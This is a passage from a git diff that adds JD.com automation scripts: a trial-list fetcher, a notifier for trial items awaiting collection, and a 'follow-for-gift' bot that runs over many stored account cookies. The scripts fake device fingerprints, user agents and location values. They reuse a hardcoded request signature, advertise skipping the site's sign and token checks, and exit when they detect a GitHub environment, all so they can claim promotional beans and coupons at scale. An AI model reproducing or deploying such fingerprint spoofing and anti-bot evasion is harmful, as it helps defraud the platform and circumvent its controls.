new Promise((resolve, reject) => { + console.log(`拉取申请成功列表...`) + let option = taskurl_xh() + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('err', err) + } else { + data = JSON.parse(data); + + for (const vo of data.data.list) { + if($.runFalag == false) break + $.trialNames = vo.trialName + //console.log(`\n${$.trialNames}`); + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl_xh() { + return { + url: "https://api.m.jd.com/client.action", + body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.6&client=wh5&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': `${$.cookie} __jda=1.1.1.1.1.1;` + }, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${$.cookiesArr.length}个京东账号\n`) + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_try_notify.py b/jd_try_notify.py new file mode 100644 index 0000000..9029776 --- /dev/null +++ b/jd_try_notify.py @@ -0,0 +1,141 @@ +#Source::https://github.com/Hyper-Beast/JD_Scripts + +""" +cron: 20 20 * * * +new Env('京东试用成功通知'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + + +def printf(text): + print(text) + sys.stdout.flush() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + +def get_succeedinfo(ck): + url='https://api.m.jd.com/client.action' + headers={ + 'accept':'application/json, text/plain, */*', + 'content-type':'application/x-www-form-urlencoded', + 'origin':'https://prodev.m.jd.com', + 'content-length':'249', + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'User-Agent':UserAgent, + 'referer':'https://prodev.m.jd.com/', + 'accept-encoding':'gzip, deflate, br', + 'cookie':ck + } + data=f'appid=newtry&functionId=try_MyTrials&uuid={uuid}&clientVersion={clientVersion}&client=wh5&osVersion={iosVer}&area={area}&networkType=wifi&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D' + response=requests.post(url=url,headers=headers,data=data) + isnull=True + try: + for i in range(len(json.loads(response.text)['data']['list'])): + if(json.loads(response.text)['data']['list'][i]['text']['text']).find('试用资格将保留')!=-1: + print(json.loads(response.text)['data']['list'][i]['trialName']) + try: + send("京东试用待领取物品通知",'账号名称:'+remarkinfos[ptpin]+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + except: + send("京东试用待领取物品通知",'账号名称:'+urllib.parse.unquote(ptpin)+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + if isnull==True: + print("没有在有效期内待领取的试用品\n\n") + except: + print('获取信息出错,可能是账号已过期') +if __name__ == '__main__': + remarkinfos={} + try: + get_remarkinfo() + except: + pass + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ck = ck.strip() + if ck[-1] != ';': + ck += ';' + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + except Exception as e: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + UserAgent=randomuserAgent() + get_succeedinfo(ck) diff --git a/jd_txgzyl.js b/jd_txgzyl.js new file mode 100644 index 0000000..b0fd456 --- /dev/null +++ b/jd_txgzyl.js @@ -0,0 +1,652 @@ +/* +更新时间:2022-4-11 +皮卡车 + +# 变量 +export PKC_TXGZYL="" + +抓body方法: +添加重写,点击带有"特效"的关注有礼即可获取。能够实现:车头获取,全车跟上。(免sign、token) + +圈x或v2p: +可在boxjs(皮卡车-TG推送)设置tg推送,获取变量自动给机器人发送,实现自助式监控。 +boxjs订阅:https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/boxjs.json + + + +兼容圈x、v2p +#【圈x】重写订阅地址: https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx.conf +#【v2p】重写订阅地址: https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx_v2p.json + +[rewrite_remote] +https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx.conf, tag=订阅-Curtin, update-interval=172800, opt-parser=false, enabled=true + +cron:1 1 1 1 * +============Quantumultx=============== +[task_local] +#PKC-特效关注有礼 +1 1 1 1 * jd_txgzyl.js, tag=PKC-特效关注有礼, enabled=true + + +*/ +const $ = new Env('PKC关注有礼-特效'); +let cookiesArr = [], cookie = '', notify, allMessage = '' ; +const logs = 0; // 0为关闭日志,1为开启 +$.message = ''; +const timeout = 15000;//超时时间(单位毫秒) +sleeptime = 1500; //请求休眠时间(单位毫秒) + + +$.countBean={}; +let isGetbody = typeof $request !== 'undefined'; + +!(async () => { + if (isGetbody) { + // Telegram 为监控准备,抓body自动发到tg监控bot设置变量 + TG_BOT_TOKEN = ($.getdata('TG_BOT_TOKEN') || ''); + TG_USER_ID = ($.getdata('TG_USER_ID') || ''); + TG_API_HOST = ($.getdata('TG_API_HOST') || 'api.telegram.org'); + TG_PROXY_HOST = ($.getdata('TG_PROXY_HOST') || ''); + TG_PROXY_PORT = ($.getdata('TG_PROXY_PORT') || ''); + TG_PROXY_AUTH = ($.getdata('TG_PROXY_AUTH') || ''); + await GetBody(); + $.done(); +} + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for ( let b = 0; b < $.activityIdArr.length; b++){ + label = 0; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + nickname = `${$.nickName || $.UserName}`; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + activityId = $.activityIdArr[b]; + await isvObfuscator(sleeptime); + await activity(sleeptime); + await activityContent(sleeptime); + if (label === 4){ + break + } + // await getSimpleActInfoVo(); + + await getMyPing(sleeptime); + await draw(sleeptime); + if($.index != cookiesArr.length){ + // 每个账号间隔随机休眠几秒 + await $.wait(parseInt(Math.random() * 5000 + 100, 10)); + } + } + } + + } + //count + if($.countBean){ + $.message += '\n-----------【PKC特效关注有礼】-----------\n'; + for (var key in $.countBean){ + $.message += `【账号】${key} ${$.countBean[key]}\n` + } + } + + if ($.isNode()) { + console.log(`${$.name}\n${$.message}`); + await notify.sendNotify($.name, $.message); + }else { + $.msg($.name, ``, $.message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }); + + +async function GetBody() { + if ($request && $request.url.indexOf("wxShopGift/draw") >= 0) { + + if (typeof $request.body !== 'undefined'){ + modifiedBody = $request.body; + const gzylBodyVal = modifiedBody.match(/activityId=(.*?)&/)[1];; + if (gzylBodyVal) $.setdata(gzylBodyVal, "PKC_TXGZYL"); + $.log( + `[${$.name}] PKC特效关注有礼店铺id✅: 成功, export PKC_TXGZYL='${gzylBodyVal}'` + ); + $.msg($.name, `获取特效关注有礼店铺id: 成功🎉`, `export PKC_TXGZYL="${gzylBodyVal}"`); + await sendNotify(`#PKC皮卡车\nexport PKC_TXGZYL="${gzylBodyVal}" #PKC特效关注有礼店铺id`, ``) + }; + $done(); + } +} + +//获取LZ_TOKEN_KEY +async function activity(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + + headers:{ + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : '', + 'Connection' : `keep-alive`, + 'Accept' : `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, + 'Host' : `lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9` + }, + + body: `` + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + // $.resp = JSON.parse(resp); + rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + // console.log(r_cookie); + + // // $.data = JSON.parse(data); + // $.log(`测试activity🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +//获取LZ_TOKEN_KEY +async function getSimpleActInfoVo(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/customer/getSimpleActInfoVo`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + + body: `activityId=${activityId}` + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + // $.resp = JSON.parse(resp); + $.data = JSON.parse(data); + rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + if($.data.result){ + jdActivityId=$.data.data.jdActivityId; + venderId=$.data.data.venderId; + shopId=$.data.data.shopId; + } + console.log(r_cookie); + console.log(jdActivityId); + console.log(venderId); + console.log(shopId); + // return + // // $.data = JSON.parse(data); + // $.log(`测试activity🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +// 获取userid +async function activityContent(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/activityContent`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' : cookie, + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : ``, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + + body: `activityId=${activityId}&buyerPin=${randomString(64)}` + + }; + // console.log(`${JSON.stringify(url)}`); + userId = ''; + $.post(url, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + // console.log(`activityContent🚩${JSON.stringify($.data, null, '\t')}`); + if($.data.result){ + userId=$.data.data.userId; + endTime=$.data.data.endTime; + list=$.data.data.list; + lp = ''; + for (var k in list){ + lp += list[k]['takeNum'] + list[k]['type']+ ' ' + } + if(lp){ + lp_list = lp.replace('jd', '京豆').replace('jf','积分').replace('dq','东券') + console.log(`${$.nickName || $.UserName} 哇!快看,特效真美美美,biubiu~`) + } + if(Math.round(new Date().getTime())>endTime){ + console.log(`活动已结束`); + label = 4 + } + if(list.length === 0){ + console.log(`礼品已领完`); + label = 4 + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +// 获取token +async function isvObfuscator(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + body = `body=%7B%22url%22%3A%22https%3A%5C/%5C/lzkj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167874&client=apple&clientVersion=10.2.4&d_brand=apple&d_model=iPhone14%2C3&ef=1&eid=${randomString(116)}&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJS4DMeyDzc4%22%2C%22wifiBssid%22%3A%22${randomString(43)}%3D%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22area%22%3A%22${randomString(24)}%22%2C%22openudid%22%3A%22DtVwZtvvZJcmZwPtDtc5DJSmCtZvDzLsCzK2DJG2DtU1EWG5Dzc2ZK%3D%3D%22%2C%22uuid%22%3A%22${randomString(32,'xx')}%22%7D%2C%22ts%22%3A${get_times('ss')}%2C%22hdid%22%3A%22${randomString(43)}%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%7D&isBackground=N&joycious=98&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=10&sign=ece45b391fb4abf4e4590c7da6eeacc5&st=1649150743509&sv=101&uemps=0-0&uts=${randomSt